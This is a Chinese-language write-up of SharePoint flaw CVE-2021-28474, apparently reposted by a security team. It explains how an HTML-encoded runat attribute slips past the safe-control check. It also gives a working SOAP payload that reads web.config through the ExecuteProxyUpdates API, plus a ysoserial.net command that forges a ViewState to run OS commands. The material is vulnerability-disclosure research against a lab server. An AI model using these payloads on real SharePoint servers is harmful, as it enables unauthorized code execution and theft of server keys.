龙空技术网

CVE-2021-28474:Microsoft SharePoint远程代码执行漏洞分析

SecTr安全团队 81

前言:

现在咱们对“html服务器控件中都有runat”大致比较注意,兄弟们都需要学习一些“html服务器控件中都有runat”的相关内容。那么小编同时在网摘上收集了一些关于“html服务器控件中都有runat””的相关文章,希望看官们能喜欢,看官们一起来学习一下吧!

概述

研究人员在微软SharePoint服务器中发现了一个远程代码执行漏洞(CVE-2021-28474)。该漏洞允许经过身份验证的攻击者在SharePoint服务器上,利用SharePoint Web应用程序的服务帐户上下文执行任意.NET代码。要想成功利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。


漏洞代码分析

该漏洞因为用于安全验证的代码与用于实际处理用户输入的代码之间存在不一致导致的。

安全验证由EditingPageParser.VerifyControlOnSafeList()执行。该函数将验证所提供的输入是否不包含不安全的控件,即web.config文件中的SafeControl元素未将任何控件标记为安全。

// Microsoft.SharePoint.EditingPageParserinternal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) {            Hashtable hashtable = new Hashtable();            Hashtable hashtable2 = new Hashtable();            List<string> list = new List<string>();            EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);            EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list);            if (blockServerSideIncludes && list.Count > 0)       {           ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes");            throw new ArgumentException("Unsafe server-side includes", "dscXml");        }        foreach (object obj in hashtable2)          {           Pair pair = (Pair)((DictionaryEntry)obj).Value;                    string text = (string)pair.First;                    string text2 = (string)pair.Second;                    text2 = text2.ToLower(CultureInfo.InvariantCulture);                    if (hashtable.ContainsKey(text2))                    { /*...*/                       if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s))                                            {                                                    throw new SafeControls.UnsafeControlException(s);                                             }                                             break;                                     }                            }                     }            }   }

EditingPageParser.ParseStringInternal()函数解析来自dscXml的用户输入,并使用寄存器指令中的信息填充hashtable,以及使用服务器控件标记中的值填充hashtable2。之后,它尝试根据web.config文件中的SafeControl元素验证hashtable2中的每个元素。如果一个控件在那里没有被标记为安全,它就会抛出一个异常。

让我们仔细看看hashtable2中的值是如何进行填充的:

// Microsoft.SharePoint.EditingPageParser private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) {          int num = 0;          int num2 = text.LastIndexOf('>');          for (;;)          {                    Match match; /*...*/                    if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success)                    {                            if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success)                            {                                     try                                     {                                              EditingPageParser.HandleTagMatch(match, controls); /*...*/  // Microsoft.SharePoint.EditingPageParser private static void HandleTagMatch(Match match, Hashtable controls) {             CaptureCollection captures = match.Groups["attrname"].Captures;             CaptureCollection captures2 = match.Groups["attrval"].Captures;             bool flag = false;             for (int i = 0; i < captures.Count; i++)             {                       string strA = captures[i].ToString();                       string strA2 = captures2[i].ToString();                       if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0)                       {                                   flag = true;                                   break;                        }              }              if (flag)              {                         string value = match.Groups["tagname"].Value;                         int num = value.IndexOf(':');                         if (num > 0 && num < value.Length - 1)                         {                                    string x = value.Substring(num + 1);                                    string y = value.Substring(0, num);                                    controls[value] = new Pair(x, y);                          }               }  }

如我们所见,SharePoint仅验证服务器端控件(带有runat="server"属性的标记)。这是合理的,因为客户端元素不需要验证。

如果验证通过,SharePoint将处理提供的标记。让我们回顾一下执行处理的代码:

// System.Web.UI.TemplateParser private void ParseStringInternal(string text, Encoding fileEncoding) {            int num = 0;            int num2 = text.LastIndexOf('>');            Regex tagRegex = base.TagRegex;            do            {                       Match match;  /*...*/                                               if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success)                                               {                                                        try                                                        {                                                                 if (!this.ProcessBeginTag(match, text))                                                                 {                                                                           flag = true;                                                                 }  /*...*/      // System.Web.UI.TemplateParser  private bool ProcessBeginTag(Match match, string inputText)  {             string value = match.Groups["tagname"].Value;             ParsedAttributeCollection attribs;             string text;             this.ProcessAttributes(inputText, match, out attribs, false, out text); /*...*/       // System.Web.UI.TemplateParser private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) {             string text2 = string.Empty;             attribs = TemplateParser.CreateEmptyAttributeBag();             CaptureCollection captures = match.Groups["attrname"].Captures;             CaptureCollection captures2 = match.Groups["attrval"].Captures;             CaptureCollection captureCollection = null;             if (fDirective)             {                       captureCollection = match.Groups["equal"].Captures;              }              this.flags[1] = false;              this._id = null;              duplicateAttribute = null;              for (int i = 0; i < captures.Count; i++)              {                       string text3 = captures[i].ToString();                       if (fDirective)                       {                                text3 = text3.ToLower(CultureInfo.InvariantCulture);                        }                        Capture capture = captures2[i];                        string text4 = capture.ToString();                        string empty = string.Empty;                        string text5 = Util.ParsePropertyDeviceFilter(text3, out empty);                        text4 = HttpUtility.HtmlDecode(text4);                        bool flag = false;                        if (fDirective)                        {                                 flag = (captureCollection[i].ToString().Length > 0);                         }                         if (StringUtil.EqualsIgnoreCase(empty, "id"))                         {                                 this._id = text4;                          }                          else if (StringUtil.EqualsIgnoreCase(empty, "runat"))                          {                                     this.ValidateBuiltInAttribute(text5, empty, text4);                                     if (!StringUtil.EqualsIgnoreCase(text4, "server"))                                     {                                             this.ProcessError(SR.GetString("Runat_can_only_be_server"));                                    }                                     this.flags[1] = true;                                     text3 = null;                           }  /*...*/

可以看见处理时解析内容的步骤与验证时的解析步骤非常相似。但是,有一个关键的单行差异:text4 = HttpUtility.HtmlDecode(text4)。

在处理时,属性值由解析器进行HTML解码,但在验证时没有相应的行。这意味着,如果我们有一个ASPX标记,它的属性是runat="&#115;erver",EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。


漏洞利用

在此次攻击中,我们将利用System.Web.UI.WebControls.Xml控件,以从任意XML文件中检索信息。我们可以使用它从web.config中提取machineKey部分,这允许我们伪造任意ViewState,并通过ViewState反序列化实现远程代码执行。

可以看见System.Web.UI.WebControls.Xml被web.config中的SafeControl元素标记为不安全:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

我们将使用可通过/_vti_bin/WebPartPages.asmx站点访问的WebPartPagesWebService.ExecuteProxyUpdates Web API方法,投递有效载荷。它允许我们在设计模式下从OuterHtml属性渲染ASPX标记。用户输入将通过VerifyControlOnSafeList方法进行验证。

为了成功进行攻击,我们需要提供任何现有网站页面的相对路径:

<UpdateTransaction> <Update Type="Document"> <Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx">             <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="&lt;asp:Repeater  runat=&quot;server&quot;&gt; &lt;HeaderTemplate&gt; &lt;asp:Xml runat=&quot;&amp;#115;erver&quot; id=&quot;xml1&quot; DocumentSource=&quot;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&quot;/&gt;   &lt;/HeaderTemplate&gt;&lt;/asp:Repeater&gt; " />         </Document>         <Actions />         </Update> </UpdateTransaction>

我们可以使用来自web.config中machinekey部分的信息来创建一个有效的ViewState,它将被SharePoint反序列化。这允许我们通过反序列化不受信任的数据来运行任意操作系统命令。


概念验证

在演示场景中,我们使用安装了Windows Server 2019 Datacenter上所有默认选项的Microsoft SharePoint Server 2019。服务器的主机名称为sp2019.contoso.lab,已加入contoso.lab域中,域为独立的虚拟机。目标主机已安装2021年1月的所有补丁,对应版本号为16.0.10370.20001,并添加了几个用户,包括普通用户“user2”。

攻击者系统只需使用任何受支持的网页浏览器、用于向服务器发送SOAP请求的PoC应用程序,以及ysoserial.net工具,我们使用的浏览器为Firefox。

首先我们访问SharePoint服务器,以普通用户“user2”进行身份验证。

然后创建一个站点,使该用户成为站点所有者并拥有所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+创建站点”链接:


选择“Team Site”,现在我们需要为新站点设置名称,这里我们设置为ts01。

点击“完成”,成功创建新站点:

现在我们需要一个指向该站点中任何站点页面的相对路径,转到 /SitePages/Forms/ByAuthor.aspx以查看页面列表:

我们可以点击所需的页面并从地址栏中获取相对路径:

在这里,相对路径为SitePages/Home.aspx。

接下来使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。我们需要提供网站地址、凭证和相对路径:

>SP_soap_RCE_PoC.exe ;user2 P@ssw0rd contoso "SitePages/Home.aspx"

如果攻击成功,我们将收到web.config的内容:

在该文件中搜索machineKey元素:

要执行RCE攻击,我们需要获取validationKey的值。在这里validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

我们还可以看到算法:validation="HMACSHA256"。

利用这些信息,我们就可以实现远程代码执行攻击。在进行最后一步攻击前,我们先进入目标SharePoint服务器,并打开C:windows emp文件夹:

此时该目录中不存在SP_RCE_01.txt文件。

现在我们转到“攻击者”主机,并在网站上打开Success.aspx页面:

在本例中,URL为:

打开这个页面的源代码视图,找到__VIEWSTATEGENERATOR的值,本例中该值为AF878507:

现在,我们已经拥有了伪造一个任意的ViewState所需要的所有数据:

__VIEWSTATEGENERATOR=AF878507

validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

validationAlg=HMACSHA256

使用ysoserial生成ViewState:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/SP_RCE_01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

这是生成的有效载荷,我们需要对其进行URL编码,并将其作为查询字符串中的__VIEWSTATE参数发送到目标服务器:

将此URL粘贴到浏览器中,响应显示为错误:

然而再次检查目标服务器上的C:windows emp文件夹,可以发现目标文件创建成功,证明我们实现了代码执行:

通过这种方法,攻击者可以在SharePoint Web应用程序的上下文中执行任意操作系统命令。

标签: #html服务器控件中都有runat